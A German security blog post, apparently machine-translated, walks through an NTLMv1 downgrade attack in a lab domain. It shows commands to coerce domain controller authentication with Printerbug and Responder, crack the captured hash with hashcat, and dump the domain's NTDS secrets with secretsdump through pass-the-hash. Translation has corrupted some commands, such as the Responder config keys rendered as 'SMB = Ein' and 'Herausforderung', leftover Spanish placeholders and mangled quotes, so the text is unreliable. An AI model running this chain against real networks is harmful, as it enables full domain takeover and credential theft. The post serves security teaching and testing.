NTLMv1 Downgrade attack

NTLMv1-Downgrade-Angriff

Celia Catalán


NetNTLMv1-Downgrade 

Wie wir bereits in früheren Beiträgen erwähnt haben, werden wir nach der erzwungenen Authentifizierung und dem Erhalt des NetNTLM-Hashs des Passworts des Computerbenutzers des Opfers hauptsächlich mit drei verschiedenen Ausnutzungsszenarien konfrontiert, in diesem Fall geht es um: 

  • NetNTLMv1-Downgrade  

In diesem Szenario nutzt der Angreifer das Authentifizierungsprotokoll NetNTLMv1 im Netzwerk aus. 

Um dieses Authentifizierungsprotokoll zu missbrauchen, muss auf dem für „Coerce Authentication“ anfälligen Server der Schlüssel „LmCompatibilityLevel“ in der Registrierung konfiguriert sein und einen Wert von 2 oder weniger haben. 

Dies kann konfiguriert werden, indem das Senden von LM- und NTLM-Antworten in der Gruppenrichtlinie mit dem Namen „Netzwerksicherheit: LAN Manager-Authentifizierungsebene“ aktiviert wird. 


Zusammenfassung 

Der Ausnutzungsprozess dieses Angriffs wird im Folgenden ausführlich erläutert: 

  1. Erhalten Sie eine NetNTLMv1-Antwort vom Domänencontroller-Maschinenkonto, indem Sie die Authentifizierung mit einer beliebigen Schwachstelle bei „Authentifizierung erzwingen“ erzwingen. 
  2. Wandeln Sie den erhaltenen NetNTLMv1-Hash in ein Format um, das im DES-Modus geknackt werden kann. 
  3. Knacken Sie die verschiedenen Teile des Hashs und erhalten Sie die DES-Schlüssel für jeden von ihnen. 
  4. Transformieren Sie die erhaltenen DES-Schlüssel in das NTLM-Format. 
  5. Führen Sie eine DCSync durch, um das NTDS über Pass The Hash unter Verwendung des in den vorherigen Schritten erhaltenen NTLM-Hashs zu erhalten. 

Testlaborkomponenten 

Im Folgenden beschreiben wir kurz die im Prüflabor gefundenen Vermögenswerte: 

  • Attack_Machine – Diese Maschine bezieht sich auf ein Kali-Linux, von dem aus wir den Angriff durchführen, um eine „Zwangsauthentifizierung“ zu erhalten und die Software abhören zu lassen, um den Hash des Maschinenbenutzers im NetNTLMv1-Format zu erhalten. 
  • DC.corp.lab – Domänencontroller mit der konfigurierten Domäne „corp.lab“, der Opfer des Angriffs wird. Ein Benutzer namens „Bob“ wird in dieser unprivilegierten Domäne konfiguriert, um den Angriff aus seiner Kompromittierung nachzuahmen. Auf diesem Server wird die oben genannte Gruppenrichtlinie angewendet. 

Entwicklung des Angriffs 

Erhalten einer NetNTLMv1-Antwort 

Um den Angriff zu starten, müssen wir prüfen, ob der Domänencontroller für einen der hier erläuterten „Coerce Authentication“-Angriffe anfällig ist. In diesem Fall erfolgt die Ausnutzung durch Missbrauch des MS-RPC namens MS-RPRN mithilfe des Printer Bug- Skripts. 

Sie müssen mithilfe des folgenden Befehls überprüfen, ob der DC besagtes MS-RPC aktiviert hat: 


Terminal

                python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN' 

      



Nachdem überprüft wurde, dass der Domänencontroller für die „Zwangsauthentifizierung“ anfällig ist, muss der Computer des Angreifers konfiguriert werden. Dazu müssen Sie die Konfigurationsdatei der Responder genannten Software wie folgt bearbeiten:


Terminal

                sudo nano /etc/responder/Responder.conf 

				SMB = Ein 

				HTTP = Ein 

				;Herausforderung = Zufällig 

			Herausforderung = 1122334455667788 

      


Sobald die Antwortkonfigurationsdatei bearbeitet wurde, muss sie wie folgt ausgeführt werden, damit sie lauscht. Das Flag –lm erzwingt ein Downgrade in bestimmten Versionen des Betriebssystems. 


Terminal

                sudo responder -I eth0 -wv --lm  

      

Sobald „Responder“ ausgeführt wird, wird die „Coerce Authentication“ ausgenutzt.


Terminal

                'python3 Printerbug.py „CORP/bob:password“ @dc.corp.lab attack_machine‘

      

Nachdem die Authentifizierung des Maschinenbenutzers des Domänencontrollers gegenüber der Maschine des Angreifers erzwungen wurde, wird der NetNTLMv1-Hash dieses Benutzers abgerufen. 


Wandeln Sie den erhaltenen NetNTLMv1-Hash in ein Format um, das geknackt werden kann 

Wie bereits erwähnt, muss der NetNTLMv1-Hash nach Erhalt in ein Format umgewandelt werden, das im DES-Modus geknackt werden kann. Dazu wird das Tool ntlmv1-multi verwendet, das die folgenden Schritte bereitstellt, um den Hash korrekt zu knacken. 


Terminal

                python3 ntlmv1.py --ntlmv1 'hash ntlmv1' 

      

Wie im vorherigen Screenshot zu sehen ist, zeigt das Tool selbst, wie die letzten 4 Ziffern des NTLM-Hashs berechnet werden, und stellt einerseits die Hashes bereit, die in das DES-Format geknackt werden müssen, sowie den Befehl, der erforderlich ist ausgeführt werden.  

Knacken Sie die verschiedenen Teile des Hashs und erhalten Sie die DES-Schlüssel von jedem von ihnen 

Daher wird zunächst die Berechnung der letzten 4 Ziffern des NTLM-Hashs wie folgt mit einem Hashcat- Tool durchgeführt:


Terminal

                /usr/lib/hashcat-utils/ct3_to_ntlm.bin 'Ausgabe erhalten mit ntlmv1.py' 

      

Andererseits werden die beiden vom Tool ntlmv1-multi bereitgestellten Hashes mithilfe des Hashcat- Cracking-Tools mit dem folgenden Befehl in das DES-Format geknackt: 


Terminal

          hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero con hashes' ?1?1?1?1?1?1?1?1       

      

HINWEIS: In alten Versionen von Hashcat wird der „Zeichensatz“ DES_FULL.charset verwendet, in aktualisierten Versionen wird DES_full.hcchr verwendet. 

Nach dem Knackvorgang erhalten Sie folgende DES-Schlüssel: 

Transformieren Sie die erhaltenen DES-Schlüssel in das NTLM-Format: 

Sobald die beiden DES-Schlüssel erhalten wurden, müssen andere Hashcat- Tools verwendet werden, die eine Umwandlung dieser Schlüssel in das NTLM-Format ermöglichen. 

Terminal

                 /usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1' 

		/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2' 

      

Führen Sie einen DCSync durch, um das NTDS mithilfe von Pass The Hash abzurufen:

Nachdem alle Teile des NTLM-Hashs des Computerbenutzers des Domänencontrollers abgerufen wurden, ist es möglich, einen DCSync durchzuführen und das NTDS der Domäne mithilfe des Tools „ secretsdump.py “ von impacket abzurufen, indem ein „Pass The Hash“-Angriff durchgeführt wird: 

Terminal

                Python3 Secretsdump.py -just-dc-ntlm -hashes ‚hash_ntlm‘ ‚corp.lab/dc$@dc.corp.lab‘‘  

      


Dimas Pastor , Senior Analyst bei Zerolynx Group .

Zurück zum Blog

Hinterlasse einen Kommentar

Bitte beachten Sie, dass Kommentare vor der Veröffentlichung genehmigt werden müssen.